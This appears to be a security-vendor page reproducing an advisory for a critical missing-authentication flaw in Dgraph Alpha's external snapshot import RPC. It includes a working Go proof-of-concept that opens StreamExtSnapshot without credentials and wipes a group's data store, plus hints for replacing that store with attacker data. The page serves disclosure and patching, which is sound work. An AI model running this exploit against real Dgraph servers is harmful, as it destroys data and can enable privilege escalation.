GHSA-rrwh-6jrq-wp5v
CRITICALGHSA-rrwh-6jrq-wp5v is a critical-severity (CVSS 9.1) Missing Authentication vulnerability in github.com/dgraph-io/dgraph/v25. O3 Security confirms whether GHSA-rrwh-6jrq-wp5v is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Dgraph Alpha group stores can be replaced via unauthenticated external snapshot import
Real-World Exposure
github.com/dgraph-io/dgraph/v25Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Dgraph Alpha exposes the RPCs used for external snapshot import on the public gRPC port :9080 without authentication or authorization. As a result, an unauthenticated network client can open StreamExtSnapshot and send Badger stream data to the target group’s store. In addition, the receiver calls Prepare() before processing the stream. This operation deletes and replaces the existing DB data.
Root Cause
The root cause is that the RPCs used for external snapshot import are exposed through Alpha’s public gRPC service, but no administrator authorization check is performed before reaching destructive storage operations.
Streaming RPCs such as StreamExtSnapshot do not have a stream interceptor, and the RPC handlers do not perform their own authorization checks. As a result, an unauthenticated client that can reach the public gRPC port can start the import flow. Dgraph then calls Badger’s StreamWriter.Prepare() on the target group store. This operation deletes the existing database, allowing the attacker’s stream to potentially replace the store.
Steps to Reproduce
Preconditions:
- A throwaway Dgraph Alpha is reachable on its public gRPC port, default
:9080 - Public gRPC mTLS is not enabled
- No Dgraph ACL token, JWT, or gRPC
auth-tokenmetadata is used by the client
- Start a throwaway standalone Dgraph instance from the tested build and insert synthetic data.
# Example if the tested source tree is built and tagged locally.
docker run --rm -p 8080:8080 -p 9080:9080 \
-v "$PWD/dgraph-ext-snapshot-poc:/dgraph" \
dgraph-standalone:2b6d6328d
For example, insert a harmless record.
curl -sS -X POST "http://127.0.0.1:8080/mutate?commitNow=true" \
-H "Content-Type: application/rdf" \
--data-binary $'{ set { _:poc <name> "before-import" . } }'
- From an unauthenticated client, open
Dgraph.StreamExtSnapshotand select group 1 as the target group.
package main
import (
"context"
"fmt"
"io"
"log"
"github.com/dgraph-io/dgo/v250"
"github.com/dgraph-io/dgo/v250/protos/api"
)
func main() {
ctx := context.Background()
// No JWT or auth metadata is attached.
dg, err := dgo.Open("dgraph://127.0.0.1:9080")
if err != nil {
log.Fatal(err)
}
defer dg.Close()
client := dg.GetAPIClients()[0]
stream, err := client.StreamExtSnapshot(ctx)
if err != nil {
log.Fatal(err)
}
if err := stream.Send(&api.StreamExtSnapshotRequest{GroupId: 1}); err != nil {
log.Fatal(err)
}
if _, err := stream.Recv(); err != nil {
log.Fatal(err)
}
// Complete an empty external snapshot stream. On the server side,
// the local subscriber calls StreamWriter.Prepare() before consuming
// packets from the stream.
if err := stream.Send(&api.StreamExtSnapshotRequest{
Pkt: &api.StreamPacket{Done: true},
}); err != nil {
log.Fatal(err)
}
for {
resp, err := stream.Recv()
if err == io.EOF {
break
}
if err != nil {
log.Fatal(err)
}
if resp.GetFinish() {
fmt.Println("unauthenticated external snapshot stream finished")
break
}
}
}
Observed result:
- The unauthenticated stream is accepted.
- No prior
UpdateExtSnapshotStreamingState(Start)call is required. worker.runLocalSubscriber(...)callspstore.NewStreamWriter().Prepare().- Badger drops the existing target group DB before the stream completes.
- The synthetic data that existed before the stream is no longer served from the cleared group store.
The official import client demonstrates the same wire format and call order: dgraph/cmd/dgraphimport/import_client.go opens dgo.Open(...), calls StreamExtSnapshot, sends a first GroupId message, and then streams api.StreamPacket.Data chunks followed by Done: true.
This Done-only PoC demonstrates unauthenticated clear/empty replacement of the selected group store. To additionally demonstrate attacker-controlled non-empty replacement, send valid Badger stream chunks in api.StreamPacket.Data before Done: true.
Impact
An unauthenticated attacker who can reach Alpha’s public gRPC port can clear a selected Dgraph group store or replace it with attacker-supplied Badger stream data. In ACL-enabled deployments, group 1 stores Dgraph’s ACL/internal predicates, so replacing group 1 may also lead to privilege escalation.
Suggested Remediation
- Require administrator authorization before
UpdateExtSnapshotStreamingStatecallsworker.ProposeDrain(...). - Require the same authorization at the start of
StreamExtSnapshotusingstream.Context(). - Add a gRPC stream interceptor so streaming RPCs receive the same auth and audit treatment as unary RPCs.
- Reject
StreamExtSnapshotunless import mode was explicitly armed by an authorized request.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/dgraph-io/dgraph/v25 | all versions | 25.3.5 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/dgraph-io/dgraph/v25. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/dgraph-io/dgraph/v25 to 25.3.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-rrwh-6jrq-wp5v is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-rrwh-6jrq-wp5v is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-rrwh-6jrq-wp5v. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-rrwh-6jrq-wp5v in your dependencies?
O3 detects GHSA-rrwh-6jrq-wp5v across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.